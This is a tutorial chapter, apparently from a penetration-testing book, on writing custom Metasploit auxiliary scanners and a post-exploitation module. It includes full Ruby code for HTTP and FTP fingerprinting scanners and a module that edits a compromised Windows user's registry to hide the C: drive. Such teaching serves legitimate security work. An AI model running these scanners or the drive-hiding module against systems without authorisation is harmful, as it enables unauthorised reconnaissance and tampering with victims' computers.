Developing custom modules
Let's dig deep into the process of writing a module. Metasploit has various modules such as payloads, encoders, exploits, NOPs, and auxiliaries. In this section, we will cover the essentials of developing a module; then, we will look at how we can actually create our own custom modules.
In this section, we will discuss auxiliary and post-exploitation modules. However, we will discuss exploit modules in detail in the next chapter as they are dedicated to building exploits. Coming back to this chapter, let's discuss the essentials of building a module first.
Building a module in a nutshell
Let's understand how things are arranged in the Metasploit framework as well as what all the components of Metasploit are and what they are meant to do.
Metasploit is composed of various components. These components include all the important libraries, modules, plugins, and tools. A diagrammatic view of the structure of Metasploit is as follows:
Let's see what these components are and how they work. The best to start with are the Metasploit libraries that act as the heart of Metasploit.
Let's understand the use of various libraries as explained in the following table:
We have different types of modules in Metasploit, and they differ in terms of their functionality. We have payloads modules for creating an access channel to the exploited system. We have auxiliary modules to carry out operations such as information gathering, fingerprinting, fuzzing an application, and logging in to various services. Let's examine the basic functionality of these modules, as shown in the following table:
Metasploit modules are the buildup of various functions contained in different libraries and the general Ruby programming. Now, to use these functions, first we need to understand what these functions are. How can we trigger these functions? What number of parameters do we need to pass? Moreover, what will these functions return?
Let's have a look at where these libraries are actually located; this is illustrated in the following screenshot:
As we can see in the preceding screenshot, we have the REX libraries located in the /lib
directory; under the /msf
folder, we have the /base
and /core
library directories.
Now, under the core libraries' folder, we have libraries for all the modules we covered earlier; this is illustrated in the following screenshot:
We will get started with writing our very first auxiliary module shortly. So, let's focus on the auxiliary modules first and check what is under the hood. Looking into the library for auxiliary modules, we will find that we have various library files to perform a variety of tasks, as shown in the following screenshot:
These library files provide the core for auxiliary modules. However, for different operations and functionalities, we can refer to any library we want. Some of the most widely used library files in most Metasploit modules are located in the core/exploits/
directory, as shown in the following screenshot:
We can find all other core libraries for various types of modules in the core/
directory. Currently, we have core libraries for exploits, payload, post-exploitation, encoders, and various other modules.
Tip
Visit the Metasploit Git repository at https://github.com/rapid7/metasploit-framework to access the complete source code.
Understanding the existing modules
The best way to start with writing modules is to delve deeper into the existing Metasploit modules and see how they work. Let's perform in exactly the same way and look at some modules to find out what happens when we run these modules.
Let's work with a simple module for an HTTP version scanner and see how it actually works. The path to this Metasploit module is /modules/auxiliary/scanner/http/http_version.rb
. Let's examine this module systematically:
# This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ require 'rex/proto/http' require 'msf/core class Metasploit3 < Msf::Auxiliary
Let's discuss how things are arranged here. The lines starting with the #
symbol are the comments and are generally included in all Metasploit modules. The require 'rex/proto/http'
statement asks the interpreter to include a path to all the HTTP protocol methods from the REX library. Therefore, the path to all the files from the /lib/rex/proto/http
directory is now available to the module as shown in the following screenshot:
All these files contain a variety of HTTP methods, which include functions to set up a connection, the GET
and POST
request and response handling, and so on.
In the next step, the require 'msf/core'
statement is used to include a path for all the significant core libraries. These core libraries are located at the core
directory under /lib/msf
as shown in the following screenshot:
The class Metasploit3
statement defines the given code intended for Metasploit Version 3 and above. However, Msf::Auxiliary
defines the code as an auxiliary type module. Let's now continue with the code as follows:
# Exploit mixins should be called first include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::WmapScanServer # Scanner mixin should be near last include Msf::Auxiliary::Scanner
This section includes all the necessary library files that contain methods used in the modules. The include Msf::Exploit::Remote::HttpClient
statement will include the /lib/msf/core/exploit/http/client.rb
file. We are able to include this module only because we have defined the require 'msf/core'
statement in the preceding section. This library file will provide various methods such as connecting to the target, sending a request, disconnecting a client, and so on and so forth.
The include Msf::Auxiliary::WmapScanServer
statement will include the wmapmodule.rb
file under /lib/msf/core/auxiliary
. This file contains all the WMAP add-on features. Now, you might be wondering, what is WMAP? WMAP is a web-application-based vulnerability scanner add-on for the Metasploit framework that aids web testing using Metasploit. The include Msf::Auxiliary::Scanner
statement will include the scanner.rb
file under /lib/msf/core/auxiliary
. This file contains all the various functions for scanner-based modules. This file supports various methods such as running a module, initializing and scanning the progress, and so on. Let's look at the next piece of code:
def initialize super( 'Name' => 'HTTP Version Detection', 'Description' => 'Display version information about each system', 'Author' => 'hdm', 'License' => MSF_LICENSE ) register_wmap_options({ 'OrderID' => 0, 'Require' => {}, }) end
This part of the module defines an initialize
method. This method is the default constructor method in the Ruby programming language. This method initializes the basic parameters of this Metasploit module such as Name
, Author
, Description
, and License
for the various Metasploit modules and the WMAP parameters. Now, let's have a look at the last section of the code:
def run_host(ip) begin connect res = send_request_raw({'uri' => '/', 'method' => 'GET' }) return if not res fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp rescue ::Timeout::Error, ::Errno::EPIPE end end end
This section marks the actual working of the module. Here, we have a method named run_host
with IP as the parameter to establish a connection to the required host. The run_host
method is referred from the /lib/msf/core/auxiliary/scanner.rb
library file. This method is preferred in single IP-based tests as shown in the following screenshot:
Next, we have the begin
keyword, which denotes the beginning of the method. In the next statement, we have the connect
method, which establishes an HTTP connection to the server. This method is from the /lib/msf/core/auxiliary/scanner.rb
library file.
We will define a variable named res
in the next statement. We will use the send_raw_request
method from the /core/exploit/http/client.rb
file with the parameter URI
as /
and set the method for the request as GET
:
This method will help you to connect to the server, create the request, send the request, and read the response. We save this response in the res
variable.
This method passes all the parameters to the request_raw
method from the /rex/proto/http/client.rb
file where all these parameters are checked. We have plenty of parameters that can be set in the list of parameters. Let's see what they are:
Next, res
is a variable that stores the results. Now, the next instruction denotes that if the request is not successful, return. However, when it comes to a successful request, execute the next command that will run the http_fingerprint
method from the /lib/msf/core/exploit/http/client.rb
file and store the result in a variable named fp
. This method will record and filter out information such as Set-cookie
, Powered-by
, and so on. This method requires an HTTP response packet in order to make calculations. So, we will supply :response => res
as a parameter, which denotes that fingerprinting should occur on data received from the request generated previously using res
. However, if this parameter is not given, it will redo everything and get the data again from the source. In the next line, we simply print out the response. The last line, rescue ::Timeout::Error, ::Errno::EPIPE
, will handle exceptions if the module times out.
Now, let's run this module and see what the output is:
We have now seen how a module actually works. Let's take this a step further and try writing our own custom module.
Writing out a custom FTP scanner module
Let's try and build a simple module. We will write a simple FTP fingerprinting module and see how things work. Let's examine the code for the FTP module:
require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Ftp include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Apex FTP Detector', 'Description' => '1.0', 'Author' => 'Nipun Jaswal', 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(21), ], self.class) End
We start our code by defining the required libraries to refer to. We define the statement require 'msf/core'
to include the path to the core libraries at the very first step. Then, we define what kind of module we are creating; in this case, we are writing an auxiliary module exactly the way we did for the previous module. Next, we define the library files we need to include from the core library set.
Here, the include Msf::Exploit::Remote::Ftp
statement refers to the /lib/msf/core/exploit/ftp.rb
file and include Msf::Auxiliary::Scanner
refers to the /lib/msf/core/auxiliary/scanner.rb
file. We have already discussed the scanner.rb
file in detail in the previous example. However, the ftp.rb
file contains all the necessary methods related to FTP, such as methods for setting up a connection, logging in to the FTP service, sending an FTP command, and so on. Next, we define the information of the module we are writing and attributes such as name, description, author name, and license in the initialize
method. We also define what options are required for the module to work. For example, here we assign RPORT
to port 21
by default. Let's continue with the remaining part of the module:
def run_host(target_host) connect(true, false) if(banner) print_status("#{rhost} is running #{banner}") end disconnect end end
We define the run_host
method, which will initiate the process of connecting to the target by overriding the run_host
method from the /lib/msf/core/auxiliary/scanner.rb
file. Similarly, we use the connect
function from the /lib/msf/core/exploit/ftp.rb
file, which is responsible for initializing a connection to the host. We supply two parameters into the connect
function, which are true
and false
. The true
parameter defines the use of global parameters, whereas false
turns off the verbose capabilities of the module. The beauty of the connect
function lies in its operation of connecting to the target and recording the banner of the FTP service in the parameter named banner
automatically, as shown in the following screenshot:
Now we know that the result is stored in the banner
attribute. Therefore, we simply print out the banner at the end and we disconnect the connection to the target.
This was an easy module, and I recommend that you should try building simple scanners and other modules like these.
Nevertheless, before we run this module, let's check whether the module we just built is correct with regards to its syntax or not. We can do this by passing the module from an in-built Metasploit tool named msftidy
as shown in the following screenshot:
We will get a warning message indicating that there are a few extra spaces at the end of line number 19. Therefore, when we remove the extra spaces and rerun msftidy
, we will see that no error is generated. This marks the syntax of the module to be correct.
Now, let's run this module and see what we gather:
We can see that the module ran successfully, and it has the banner of the service running on port 21, which is Baby FTP Server.
Note
For further reading on the acceptance of modules in the Metasploit project, refer to https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements.
Writing out a custom HTTP server scanner
Now, let's take a step further into development and fabricate something a bit trickier. We will create a simple fingerprinter for HTTP services, but with a slightly more complex approach. We will name this file http_myscan.rb
as shown in the following code snippet:
require 'rex/proto/http' require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner def initialize super( 'Name' => 'Server Service Detector', 'Description' => 'Detects Service On Web Server, Uses GET to Pull Out Information', 'Author' => 'Nipun_Jaswal', 'License' => MSF_LICENSE ) end
We include all the necessary library files as we did for the previous modules. We also assign general information about the module in the initialize
method, as shown in the following code snippet:
def os_fingerprint(response) if not response.headers.has_key?('Server') return "Unknown OS (No Server Header)" end case response.headers['Server'] when /Win32/, /\(Windows/, /IIS/ os = "Windows" when /Apache\// os = "*Nix" else os = "Unknown Server Header Reporting: "+response.headers['Server'] end return os end def pb_fingerprint(response) if not response.headers.has_key?('X-Powered-By') resp = "No-Response" else resp = response.headers['X-Powered-By'] end return resp end def run_host(ip) connect res = send_request_raw({'uri' => '/', 'method' => 'GET' }) return if not res os_info=os_fingerprint(res) pb=pb_fingerprint(res) fp = http_fingerprint(res) print_status("#{ip}:#{rport} is running #{fp} version And Is Powered By: #{pb} Running On #{os_info}") end end
The preceding module is similar to the one we discussed in the very first example. We have the run_host
method here with ip
as a parameter, which will open a connection to the host. Next, we have send_request_raw
, which will fetch the response from the website or web server at /
with a GET
request. The result fetched will be stored into the variable named res
.
We pass the value of the response in res
to the os_fingerprint
method. This method will check whether the response has the Server
key in the header of the response; if the Server
key is not present, we will be presented with a message saying Unknown OS
.
However, if the response header has the Server
key, we match it with a variety of values using regex expressions. If a match is made, the corresponding value of os
is sent back to the calling definition, which is the os_info
parameter.
Now, we will check which technology is running on the server. We will create a similar function, pb_fingerprint
, but will look for the X-Powered-By
key rather than Server
. Similarly, we will check whether this key is present in the response code or not. If the key is not present, the method will return No-Response
; if it is present, the value of X-Powered-By
is returned to the calling method and gets stored in a variable, pb
. Next, we use the http_fingerprint
method that we used in the previous examples as well and store its result in a variable, fp
.
We simply print out the values returned from os_fingerprint
, pb_fingerprint
, and http_fingerprint
using their corresponding variables. Let's see what output we'll get after running this module:
Msf auxiliary(http_myscan) > run [*]192.168.75.130:80 is running Microsoft-IIS/7.5 version And Is Powered By: ASP.NET Running On Windows [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
Writing out post-exploitation modules
Now, as we have seen the basics of module building, we can take a step further and try to build a post-exploitation module. A point to remember here is that we can only run a post-exploitation module after a target compromises successfully. So, let's begin with a simple drive disabler module which will disable C:
at the target system:
require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Name' => 'Drive Disabler Module', 'Description' => 'C Drive Disabler Module', 'License' => MSF_LICENSE, 'Author' => 'Nipun Jaswal' ) End
We started in the same way as we did in the previous modules. We have added the path to all the required libraries we need in this post-exploitation module. However, we have added include Msf::Post::Windows::Registry
on the 5th line of the preceding code, which refers to the /core/post/windows/registry.rb
file. This will give us the power to use registry manipulation functions with ease using Ruby mixins. Next, we define the type of module and the intended version of Metasploit. In this case, it is Post
for post-exploitation and Metasploit3
is the intended version. We include the same file again because this is a single file and not a separate directory. Next, we define necessary information about the module in the initialize
method just as we did for the previous modules. Let's see the remaining part of the module:
def run key1="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\" print_line("Disabling C Drive") meterpreter_registry_setvaldata(key1,'NoDrives','4','REG_DWORD') print_line("Setting No Drives For C") meterpreter_registry_setvaldata(key1,'NoViewOnDrives','4','REG_DWORD') print_line("Removing View On The Drive") print_line("Disabled C Drive") end end #class
We created a variable called key1
, and we stored the path of the registry where we need to create values to disable the drives in it. As we are in a meterpreter shell after the exploitation has taken place, we will use the meterpreter_registry_setval
function from the /core/post/windows/registry.rb
file to create a registry value at the path defined by key1
.
This operation will create a new registry key named NoDrives
of the REG_DWORD
type at the path defined by key1
. However, you might be wondering why we have supplied 4
as the bitmask.
To calculate the bitmask for a particular drive, we have a little formula, 2^([drive character serial number]-1)
. Suppose, we need to disable the C drive. We know that character C is the third character in alphabets. Therefore, we can calculate the exact bitmask value for disabling the C drive as follows:
2^ (3-1) = 2^2= 4
Therefore, the bitmask is 4
for disabling C:
.
We also created another key, NoViewOnDrives
, to disable the view of these drives with the exact same parameters.
Now, when we run this module, it gives the following output:
So, let's see whether we have successfully disabled C:
or not:
Bingo! No C:
. We successfully disabled C:
from the user's view. Therefore, we can create as many post-exploitation modules as we want according to our need. I recommend you put some extra time toward the libraries of Metasploit.
Make sure you have user-level access rather than SYSTEM
for the preceding script to work, as SYSTEM
privileges will not create the registry under HKCU
. In addition to this, we have used HKCU
instead of writing HKEY_CURRENT_USER
, because of the inbuilt normalization that will automatically create the full form of the key. I recommend you check the registry.rb
file to see the various available methods.